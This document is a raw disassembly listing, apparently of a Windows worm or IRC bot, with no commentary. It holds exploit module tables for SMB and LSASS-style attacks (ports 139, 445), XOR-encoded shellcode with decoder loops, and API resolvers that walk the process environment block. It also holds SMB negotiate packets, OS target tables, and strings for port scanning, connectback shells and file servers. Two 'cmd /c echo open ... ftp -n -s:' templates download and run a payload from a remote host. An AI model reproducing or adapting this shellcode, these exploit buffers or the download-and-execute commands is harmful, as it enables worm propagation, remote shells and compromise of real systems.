dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40DD03h, 0
dd 2 dup(1), 0
aNet139 db 'net139',0
align 4
dd 654E0000h, 69706174h, 393331h, 5 dup(0)
dd 8Bh, 40DA62h, 0
dd 2 dup(1), 0
aNet445 db 'net445',0
align 4
dd 654E0000h, 69706174h, 353434h, 5 dup(0)
dd 1BDh, 40DA62h, 0
dd 2 dup(1), 0
aAsn80 db 'asn80',0
align 4
dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
dd 50h, 40CBA7h, 0
dd 2 dup(1), 0
aMsass db 'msass',0
align 4
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
; ---------------------------------------------------------------------------
mov ebp, 0A7000001h
retf
; ---------------------------------------------------------------------------
dw 40h
dd 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 4
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40CBA7h, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
dd 6D7973h, 0
db 2 dup(0)
byte_44948A db 1 ; DATA XREF: sub_401CC1:loc_403512r
; sub_401CC1+185Bo
aNet445_0 db 'net445',0
align 4
dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_4494B6
; =============== S U B R O U T I N E =======================================
sub_4494A6 proc near ; CODE XREF: sub_4494A6:loc_4494B6p
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_4494AE: ; CODE XREF: sub_4494A6+Cj
xor byte ptr [edx+ecx], 99h
loop loc_4494AE
jmp short loc_4494BB
; ---------------------------------------------------------------------------
loc_4494B6: ; CODE XREF: .nsp0:004494A4j
call sub_4494A6
loc_4494BB: ; CODE XREF: sub_4494A6+Ej
jo short near ptr dword_449444+12h
cwde
cdq
cdq
retn
sub_4494A6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
unk_449624 db 2Dh ; - ; DATA XREF: sub_40AD51+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
dword_449644 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40AD51+46o
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40AD51+85o
align 4
unk_449664 db 2Dh ; - ; DATA XREF: sub_40AE1F+37o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_4496AC db 2Dh ; - ; DATA XREF: sub_40AE8A+21o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 4
dword_4496D8 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40AEDE+14o
dd 7473694Ch, 3Ah
dword_4496F4 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40AEDE+40o
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40AEDE+7Eo
unk_449714 db 2Dh ; - ; DATA XREF: sub_40AFA4+80o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 4
unk_449744 db 2Dh ; - ; DATA XREF: sub_40AFA4+16Eo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_449778 db 2Dh ; - ; DATA XREF: sub_40B155+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_449794 db 2Dh ; - ; DATA XREF: sub_40B155+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 4
unk_4497B4 db 2Dh ; - ; DATA XREF: sub_40B1CC+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_2 db ' Server started on Port: %d, File: %s.',0
align 4
unk_4497E8 db 2Dh ; - ; DATA XREF: sub_40B1CC+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_26 db ' Failed to start server, error: <%d>.',0
align 4
unk_44981C db 2Dh ; - ; DATA XREF: sub_40B1CC+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 10h
unk_449850 db 2Dh ; - ; DATA XREF: sub_40B1CC+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_27 db 'Failed to start server, error: <%d>.',0
align 4
unk_449884 db 2Dh ; - ; DATA XREF: sub_40B1CC+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_4 db '- Server started on Port: %d.',0
align 4
unk_4498B4 db 2Dh ; - ; DATA XREF: sub_40B1CC+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_28 db '- Failed to start server, error: <%d>.',0
unk_4498EC db 2Dh ; - ; DATA XREF: sub_40B1CC+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_1 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_449928 db 2Dh ; - ; DATA XREF: sub_40B1CC+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_29 db ' Failed to start server, error: <%d>.',0
align 4
aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_40B6EA+38o
aSocketOpenFail db 'socket open failed',0 ; DATA XREF: .nsp0:0040B918o
align 4
aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: .nsp0:0040B94Fo
aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: .nsp0:0040B9A9o
align 10h
aSocketOpen_ db 'Socket open.',0 ; DATA XREF: .nsp0:0040B9CEo
align 10h
aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: .nsp0:loc_40B9DEo
align 10h
unk_4499E0 db 2Dh ; - ; DATA XREF: sub_40B9F0+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_449A18 db 2Dh ; - ; DATA XREF: sub_40B9F0+EBo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 10h
unk_449A40 db 2Dh ; - ; DATA XREF: sub_40BC04+87o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
unk_449A74 db 2Dh ; - ; DATA XREF: sub_40BC04+103o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_449AA8 db 2Dh ; - ; DATA XREF: sub_40BC04+173o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_449AE0 db 2Dh ; - ; DATA XREF: sub_40BC04+1CEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 10h
unk_449B20 db 2Dh ; - ; DATA XREF: sub_40BE63+92o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0
align 4
unk_449B48 db 2Dh ; - ; DATA XREF: sub_40BF30+41o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 10h
unk_449B70 db 2Dh ; - ; DATA XREF: sub_40C021+41o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
unk_449B9C db 2Dh ; - ; DATA XREF: sub_40C021+D1o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40C3D0+B2o
align 4
dword_449BD4 dd 10FF8h, 0 ; DATA XREF: sub_40C3D0+6Ao
dword_449BDC dd 10FF8h ; DATA XREF: sub_40C3D0+79o
dword_449BE0 dd 7FFDF020h, 0 ; DATA XREF: sub_40C3D0+162o
dword_449BE8 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40C7FA+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_449C70 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C7FA+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_449CA0 dd 0 ; DATA XREF: sub_40C7FA+44o
dd 800000D4h, 0
unk_449CAC db 81h ; ; DATA XREF: sub_40C8D4+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
align 8
byte_449CF8 db 41h ; DATA XREF: sub_40C972+FFr
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
; =============== S U B R O U T I N E =======================================
sub_449D3C proc near ; DATA XREF: .nsp0:0040CC29o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_449E38
push dword ptr [esi]
push 63D61209h
call sub_449E4E
mov [esi+8], eax
call sub_449E01
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_449E4E
mov [esi+0Ch], eax
call sub_449DB3
push dword ptr [esi+4]
push 4C0297FAh
call sub_449E4E
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_449D3C endp
; =============== S U B R O U T I N E =======================================
sub_449DB3 proc near ; CODE XREF: sub_449D3C+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_449DDC
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_449DB3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_449DDC proc near ; CODE XREF: sub_449DB3+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_449DEB: ; CODE XREF: sub_449DDC+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_449DF8
inc ebx
jmp short loc_449DEB
; ---------------------------------------------------------------------------
loc_449DF8: ; CODE XREF: sub_449DDC+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_449DDC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_449E01 proc near ; CODE XREF: sub_449D3C+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_449E19: ; CODE XREF: sub_449E01+1Ej
cmp [ecx], ebx
jz short loc_449E21
mov ecx, [ecx]
jmp short loc_449E19
; ---------------------------------------------------------------------------
loc_449E21: ; CODE XREF: sub_449E01+1Aj
mov edx, edi
loc_449E23: ; CODE XREF: sub_449E01+2Aj
cmp [edx+4], ebx
jz short loc_449E2D
mov edx, [edx+4]
jmp short loc_449E23
; ---------------------------------------------------------------------------
loc_449E2D: ; CODE XREF: sub_449E01+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_449E01 endp
; =============== S U B R O U T I N E =======================================
sub_449E38 proc near ; CODE XREF: sub_449D3C+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_449E38 endp
; =============== S U B R O U T I N E =======================================
sub_449E4E proc near ; CODE XREF: sub_449D3C+16p
; sub_449D3C+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_449E64: ; CODE XREF: sub_449E4E+33j
jecxz short loc_449E9E
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_449E71: ; CODE XREF: sub_449E4E+2Dj
lodsb
cmp al, ah
jz short loc_449E7D
ror edi, 0Dh
add edi, eax
jmp short loc_449E71
; ---------------------------------------------------------------------------
loc_449E7D: ; CODE XREF: sub_449E4E+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_449E64
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_449E9E: ; CODE XREF: sub_449E4E:loc_449E64j
; sub_449E4E:loc_449E9Ej
jmp short loc_449E9E
sub_449E4E endp
; ---------------------------------------------------------------------------
dd 0
; =============== S U B R O U T I N E =======================================
sub_449EA4 proc near ; DATA XREF: .nsp0:0040CBD7o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_449EF6
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_449EC1: ; CODE XREF: sub_449EA4+38j
jecxz short loc_449EF1
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_449ECC: ; CODE XREF: sub_449EA4+32j
lodsb
test al, al
jz short loc_449ED8
ror edx, 0Dh
add edx, eax
jmp short loc_449ECC
; ---------------------------------------------------------------------------
loc_449ED8: ; CODE XREF: sub_449EA4+2Bj
cmp edx, [esp+arg_0]
jnz short loc_449EC1
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_449EF1: ; CODE XREF: sub_449EA4:loc_449EC1j
mov [esp+arg_0], ebx
retn
sub_449EA4 endp
; =============== S U B R O U T I N E =======================================
sub_449EF6 proc near ; CODE XREF: sub_449EA4+7p
; FUNCTION CHUNK AT 00449F2E SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_449F0F
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_449F1A
; ---------------------------------------------------------------------------
loc_449F0F: ; CODE XREF: sub_449EF6+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_449F1A: ; CODE XREF: sub_449EF6+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_449F2E
sub_449EF6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_449F21 proc near ; CODE XREF: sub_449EF6:loc_449F2Ep
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_449F21 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_449EF6
loc_449F2E: ; CODE XREF: sub_449EF6+29j
call sub_449F21
loc_449F33: ; DATA XREF: sub_40C375+1Bo
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_449EF6
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_449F38: ; DATA XREF: sub_40C3D0+E8o
jmp short near ptr dword_449F40
; ---------------------------------------------------------------------------
align 10h
dword_449F40 dd 0 ; CODE XREF: .nsp0:loc_449F38j
aCccc db 'CCCC',0 ; DATA XREF: sub_40C3D0+153o
align 4
dword_449F4C dd 3 ; DATA XREF: sub_40C3D0+246o
dword_449F50 dd 0A1h ; DATA XREF: sub_40C3D0+29Fo
dword_449F54 dd 30h ; DATA XREF: sub_40C3D0+2CAo
dword_449F58 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40C3D0+2F5o
dword_449F64 dd 60h ; DATA XREF: sub_40C3D0+320o
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: .nsp0:0040CBFEo
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 10h
dword_449FD0 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_40D46C+2B3o
; ---------------------------------------------------------------------------
loc_449FDC: ; CODE XREF: .nsp0:00449FE6j
xor dword ptr [ebx+13h], 6AD31EBBh
sub ebx, 0FFFFFFFCh
loop loc_449FDC
inc edi
jz short loc_44A023
and eax, 952CE753h
inc esp
jle short loc_44A04B
push es
lahf
cmp bl, [eax+2Fh]
xchg edx, [ebp+1FC36FAFh]
cmp al, 0E1h
; ---------------------------------------------------------------------------
dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
lahf
cmps byte ptr ss:[esi], byte ptr es:[edi]
loc_44A023: ; CODE XREF: .nsp0:00449FE9j
mov [eax], esi
inc ecx
imul dword ptr [ebx+50h]
js short near ptr loc_44A082+1
lock xchg ax, bp
; ---------------------------------------------------------------------------
dw 768Ch
dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
dd 0C7CF6E30h
; ---------------------------------------------------------------------------
loc_44A048: ; CODE XREF: .nsp0:0044A075j
xor [esi-25h], bl
loc_44A04B: ; CODE XREF: .nsp0:00449FF1j
xor al, 0D3h
nop
popf
db 64h
push edi
dec esi
sub al, 0BCh
mov al, ch
mov ch, 39h
fnsave byte ptr [esi-20h]
pop eax
shr dword ptr [ecx-60h], cl
pop eax
in al, 4Ah
sub al, 0BAh
loc_44A064: ; CODE XREF: .nsp0:0044A097j
rcl ebp, cl
db 3Eh
xchg eax, esi
or byte ptr [esi+2Ch], 0BCh
in al, 97h
db 36h
or al, 3Ah
rep fld tbyte ptr [eax-12h]
jz short loc_44A048
xchg eax, ebp
imul esi, [esi+0Ah], 63h
dec esi
mov bl, 84h
xchg eax, ebp
insd
dec ebp
loc_44A082: ; CODE XREF: .nsp0:0044A029j
cmp byte ptr [ecx], 0E8h
dec ebp
nop
cmp eax, edi
dec ebp
sub al, 0BAh
fnsave byte ptr [esi-2Dh]
paddusw mm1, qword ptr [ebp+5Ah]
mov ebp, [esi]
jbe short loc_44A10E
jo short loc_44A064
fld dword ptr [ebp+edx*4+3BC3746Dh]
out dx, al
loope near ptr loc_44A0A5+1
add bl, [edi]
loc_44A0A5: ; CODE XREF: .nsp0:0044A0A1j
mov bl, 0FDh
sub esp, 0FFFFFFE1h
add eax, 3E1EE39h
add bl, [esi+57h]
push ebp
and ebp, esp
loope near ptr loc_44A0BA+2
cmp ch, bh
dec edx
loc_44A0BA: ; CODE XREF: .nsp0:0044A0B5j
xchg dl, [ebp-72447295h]
retn 0AAD8h
; ---------------------------------------------------------------------------
db 3Dh
dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh
dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
db 44h, 0C8h
; ---------------------------------------------------------------------------
loc_44A10E: ; CODE XREF: .nsp0:0044A095j
mov ecx, 2C294495h
mov edx, 0E92F4930h
jg short near ptr aWindowsXpSp0Sp+14h
sub al, 0BCh
jmp near ptr 5446A502h
; ---------------------------------------------------------------------------
db 0D0h, 33h, 0Ah
dd 9505E1E8h, 6AD31E6Bh, 0
dword_44A130 dd 0EFFFC481h, 44FFFFh, 44A164h ; DATA XREF: sub_40D46C+29Ao
dword_44A13C dd 42Ah ; DATA XREF: sub_40D46C+24Dr
dword_44A140 dd 3E8h ; DATA XREF: sub_40D46C+2BEr
dword_44A144 dd 258h ; DATA XREF: sub_40D46C+290r
byte_44A148 db 1 ; DATA XREF: sub_40D46C+1F9r
; sub_40D46C+2C7r
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_44A160 dd 20804h ; DATA XREF: sub_40D370r
; sub_40D46C+2E5o ...
aWindowsNt42000 db 'Windows NT4, 2000 (SP0-SP4)',0
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .nsp0:0044A14Co
align 4
a__9: ; DATA XREF: sub_40D46C+10o
unicode 0, <.>,0
aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40D46C+33o
align 4
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_40D46C+84o
align 4
dword_44A1BC dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: sub_40D46C+F5o
dword_44A1D0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_40D46C+151o
; ---------------------------------------------------------------------------
loc_44A1E4: ; DATA XREF: sub_40D46C+221o
jmp short near ptr dword_44A1E8
; ---------------------------------------------------------------------------
align 4
dword_44A1E8 dd 0 ; CODE XREF: .nsp0:loc_44A1E4j
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40D974+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_44A260 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40DBCD+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
